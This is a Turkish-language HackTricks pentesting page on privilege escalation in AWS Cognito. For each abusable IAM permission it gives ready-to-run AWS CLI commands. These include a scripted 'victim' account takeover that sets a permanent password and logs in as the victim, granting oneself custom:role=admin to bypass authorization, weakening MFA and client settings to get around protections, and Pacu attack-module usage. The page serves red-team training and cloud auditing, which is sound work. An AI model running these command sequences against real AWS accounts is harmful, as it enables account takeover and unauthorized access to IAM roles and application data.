AWS - Cognito Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cognito

Cognito hakkında daha fazla bilgi için bakınız:

AWS - Cognito Enum

Identity Pool’dan credentials elde etme

Cognito, hem authenticated hem de unauthenticated users’a IAM role credentials verebildiğinden, bir uygulamanın Identity Pool ID’sini (genellikle hardcoded olur) bulursanız yeni credentials elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir credential’ınızın olmadığı bir AWS hesabı içinde).

Daha fazla bilgi için bu sayfayı kontrol edin.

Potential Impact: services role’a bağlı unauth users üzerinden doğrudan privesc (ve muhtemelen auth users’a bağlı role için de).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Bu izinle, cognito uygulamasının authenticated/unauthenticated users’larına herhangi bir cognito role atayabilirsiniz.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Eğer cognito uygulaması kimliği doğrulanmamış kullanıcılar etkinleştirilmemişse bunu etkinleştirmek için ayrıca cognito-identity:UpdateIdentityPool iznine ihtiyaç duyabilirsiniz.

Olası Etki: Herhangi bir cognito role doğrudan privesc.

cognito-identity:update-identity-pool

Bu izne sahip bir saldırgan, örneğin kontrolü altına aldığı bir Cognito User Pool’u veya giriş yapabildiği başka herhangi bir identity provider’ı bu Cognito Identity Pool’a erişim yolu olarak ayarlayabilir. Daha sonra, o kullanıcı sağlayıcısında sadece login yapmak, Identity Pool’da yapılandırılmış authenticated role’a erişmesine izin verir.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Bu izni kötüye kullanarak basic auth’a izin vermek de mümkündür:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potansiyel Etki: identity pool içinde yapılandırılmış authenticated IAM rolünün ele geçirilmesi.

cognito-idp:AdminAddUserToGroup

Bu izin, bir Cognito user’ı bir Cognito group’a eklemeye olanak tanır; bu nedenle bir saldırgan bu izni kötüye kullanarak kontrolündeki bir kullanıcıyı daha iyi ayrıcalıklara veya farklı IAM rollere sahip diğer gruplara ekleyebilir:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Olası Etki: Privesc, diğer Cognito gruplarına ve User Pool Groups’a bağlı IAM rollere.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Bu izinlere sahip bir saldırgan, grup oluşturma/güncelleme işlemiyle, ele geçirilmiş bir Cognito Identity Provider tarafından kullanılabilecek her IAM rolünü içerecek şekilde gruplar oluşturup/güncelleyebilir ve ele geçirilmiş bir kullanıcıyı bu grubun parçası yaparak tüm bu rollere erişmesini sağlayabilir:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potential Impact: Diğer Cognito IAM rollerine Privesc.

cognito-idp:AdminConfirmSignUp

Bu izin, bir kaydı doğrulamaya olanak tanır. Varsayılan olarak Cognito uygulamalarına herkes kayıt olabilir; bu bırakılırsa, bir kullanıcı herhangi bir bilgilerle bir hesap oluşturup bu izinle doğrulayabilir.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potansiyel Etki: Kayıt olabiliyorsanız authenticated users için identity pool IAM role üzerinde dolaylı privesc. Herhangi bir hesabı onaylayabilme yeteneği sayesinde diğer uygulama işlevlerine dolaylı privesc.

cognito-idp:AdminCreateUser

Bu izin, bir saldırganın user pool içinde yeni bir kullanıcı oluşturmasına izin verir. Yeni kullanıcı enabled olarak oluşturulur, ancak şifresini değiştirmesi gerekecektir.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Olası Etki: Kimlik havuzu IAM rolüne kimlik doğrulaması yapılmış kullanıcılar için doğrudan privesc. Uygulamanın diğer işlevlerinin herhangi bir kullanıcı oluşturabilmesine yol açan dolaylı privesc

cognito-idp:AdminEnableUser

Bu izin, saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve kullanıcıyı tekrar etkinleştirmek zorunda olduğu çok uç bir senaryoda yardımcı olabilir.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Olası Etki: Doğrulanmış kullanıcılar için identity pool IAM role dolaylı privesc ve eğer saldırgan devre dışı bırakılmış bir kullanıcının kimlik bilgilerine sahipse o kullanıcının izinlerine erişim.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Bu izin method ADMIN_USER_PASSWORD_AUTH. Daha fazla bilgi için bağlantıyı takip edin.

cognito-idp:AdminSetUserPassword

Bu izin bir saldırganın herhangi bir kullanıcı için bilinen bir parola belirlemesine izin verir, genellikle doğrudan hesap ele geçirmesiyle sonuçlanır (özellikle kurbanın MFA etkin değilse veya ilgili auth akışı/istemci için MFA zorunlu değilse).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Ortak iş akışı:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

İlgili izin: cognito-idp:AdminResetUserPassword hedef için bir sıfırlama akışını zorlamak amacıyla kullanılabilir (etki, parola kurtarma mekanizmasının nasıl uygulandığına ve saldırganın hangi bilgileri ele geçirebileceğine veya kontrol edebileceğine bağlıdır).

Olası Etki: Rastgele kullanıcıların hesaplarının ele geçirilmesi; uygulama katmanı ayrıcalıklarına (groups/roles/claims) erişim ve Cognito token’larına güvenen aşağı akıştaki her şeye erişim; Identity Pool tarafından kimlik doğrulaması yapılan IAM rollere olası erişim.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Bir saldırgan bu izni kötüye kullanarak kontrolündeki bir mobil telefonu bir kullanıcının SMS MFA of a user olarak ayarlayabilir.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Öncekine benzer şekilde, bu izin bir kullanıcının MFA tercihlerini ayarlamak için kullanılabilir ve böylece MFA koruması bypass edilebilir.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Öncekine benzer şekilde, bu izin user pool’un MFA tercihlerini ayarlamak ve MFA korumasını atlamak için kullanılabilir.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: user pool’u güncelleyerek MFA politikasını değiştirmek de mümkündür. Check cli here.

Potansiyel Etki: Saldırganın kimlik bilgilerini bildiği potansiyel olarak herhangi bir kullanıcı için dolaylı privesc sağlayabilir; bu, MFA korumasını atlamayı mümkün kılabilir.

cognito-idp:AdminUpdateUserAttributes

Bu izne sahip bir saldırgan, temel uygulamada ayrıcalık elde etmeye çalışmak için bir User Pool kullanıcısının her değiştirilebilir özniteliğini ( custom:* öznitelikleri dahil) değiştirebilir.

Yüksek etkili yaygın bir örüntü, claim-based RBAC’in custom attributes kullanılarak uygulanmasıdır (örneğin custom:role=admin). Eğer uygulama bu claim’e güveniyorsa, onu güncellemek ve ardından yeniden kimlik doğrulaması yapmak uygulamaya dokunmadan yetkilendirmeyi atlatabilir.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Örnek: upgrade your own role and refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Potansiyel Etki: Cognito attributes/claims’a yetkilendirme için güvenen uygulamalarda dolaylı privesc; diğer güvenlikle ilgili attribute’ları değiştirme yeteneği (örneğin bazı uygulamalarda email_verified veya phone_number_verified değerini true yapmak etkili olabilir).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Bu izne sahip bir saldırgan, mevcut pool client’lara kıyasla daha az kısıtlı yeni bir User Pool Client oluşturabilir. Örneğin, yeni client herhangi bir doğrulama yöntemine izin verebilir, herhangi bir secret içermeyebilir, token revocation devre dışı olabilir, tokenların daha uzun süre geçerli olmasına izin verebilir…

Aynısı, yeni bir client oluşturmak yerine mevcut bir client değiştirilirse de yapılabilir.

In the command line (or the update one) you can see all the options, check it!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: User Pool tarafından kullanılan Identity Pool yetkili kullanıcısına dolaylı privesc sağlayabilir; yeni bir client oluşturarak güvenlik önlemlerini gevşetir ve saldırganın oluşturduğu bir kullanıcı ile oturum açmasına olanak tanır.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Bir saldırgan bu izni kötüye kullanarak yeni kullanıcılar içeren bir CSV yükleyip kullanıcılar oluşturabilir.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Yeni bir import job oluşturduğunuz durumda iam passrole permission’a da ihtiyaç duyabilirsiniz, henüz test etmedim).

Potansiyel Etki: Kimliği doğrulanmış kullanıcılar için identity pool IAM role’a doğrudan privesc. Uygulamanın diğer işlevleri aracılığıyla herhangi bir kullanıcı oluşturabilme yeteneğiyle dolaylı privesc.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Bir saldırgan yeni bir identity provider oluşturup ardından bu provider üzerinden giriş yapabilir.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potansiyel Etki: Kimliği doğrulanmış kullanıcılar için identity pool IAM role üzerinde doğrudan privesc. Herhangi bir kullanıcı oluşturabilme yeteneği nedeniyle diğer uygulama işlevlerine dolaylı privesc.

cognito-sync:* Analizi

Bu, Cognito Identity Pools rollerinde varsayılan olarak çok yaygın bir izindir. Bir izin içindeki wildcard her zaman kötü görünse de (özellikle AWS’den geliyorsa), verilen izinler bir saldırgan açısından çok kullanışlı değil.

Bu izin, Identity Pools’un ve Identity Pools içindeki Identity ID’lerin kullanıcı bilgilerini okumaya izin verir (bu hassas bilgi değildir).
Identity ID’lere Datasets atanmış olabilir; bunlar oturumlara ait bilgilerdir (AWS bunu saved game gibi tanımlar). Bu bilgilerin bazı hassas içerik barındırması mümkün olabilir (ama olasılık oldukça düşüktür). Bu bilgilere nasıl erişileceğini enumeration page sayfasında bulabilirsiniz.

Bir saldırgan ayrıca bu izinleri, bu Datasets üzerindeki değişiklikleri yayınlayan bir Cognito stream’e kaydolmak veya cognito event’lerinde tetiklenen bir lambda kullanmak için kullanabilir. Bunu kullanıldığını görmedim ve burada hassas bilgi beklemem, ama imkansız değil.

Otomatik Araçlar

  • Pacu, the AWS exploitation framework, artık bir hesaptaki tüm Cognito varlıklarının enumeration’unu otomatikleştiren ve zayıf konfigürasyonları, erişim kontrolünde kullanılan user attributes vb. işaretleyen “cognito__enum” ve “cognito__attack” modüllerini içeriyor; ayrıca user creation’ı (MFA desteği dahil) ve modifiable custom attributes, usable identity pool credentials, id token’larda assumable roller gibi öğelere dayanarak privilege escalation’ı otomatikleştiriyor.

Modüllerin işlevlerinin açıklaması için [blog post]’un 2. bölümüne bakın. Kurulum talimatları için ana Pacu sayfasına bakın.

Kullanım

Örnek cognito__attack kullanımı: belirli bir identity pool ve user pool client’e karşı kullanıcı oluşturmayı denemek ve tüm privesc vektörlerini çalıştırmak için:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Geçerli AWS hesabında görünen tüm user pools, user pool clients, identity pools, users vb.’yi toplamak için cognito__enum örnek kullanımı:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner Cognito üzerinde çeşitli saldırıları uygulayan, privesc escalation da dahil olan python tabanlı bir CLI aracıdır.

Installation

$ pip install cognito-scanner

Kullanım

$ cognito-scanner --help

Daha fazla bilgi için bakınız https://github.com/padok-team/cognito-scanner

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin